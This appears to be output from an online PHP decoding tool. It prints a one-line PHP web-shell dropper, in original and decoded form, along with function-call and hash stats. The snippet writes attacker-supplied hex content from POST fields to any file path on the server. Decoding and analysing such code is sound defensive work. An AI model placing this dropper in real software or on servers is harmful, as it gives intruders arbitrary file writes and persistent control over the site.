Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $f=realpath(dirname(__FILE__)."/../").$_POST["z1"];$c=$_POST["z2"];$buf="";for($i=0;..
Decoded Output download
<?php $f=realpath(dirname(__FILE__)."/../").$_POST["z1"];$c=$_POST["z2"];$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));@fwrite(fopen($f,"w"),$buf); echo "1ok";?>
Did this file decode correctly?
Original Code
<?php $f=realpath(dirname(__FILE__)."/../").$_POST["z1"];$c=$_POST["z2"];$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));@fwrite(fopen($f,"w"),$buf); echo "1ok";?>
Function Calls
dirname | 1 |
realpath | 1 |
Stats
MD5 | c65b41727cc9a46906ad592efa21f031 |
Eval Count | 0 |
Decode Time | 94 ms |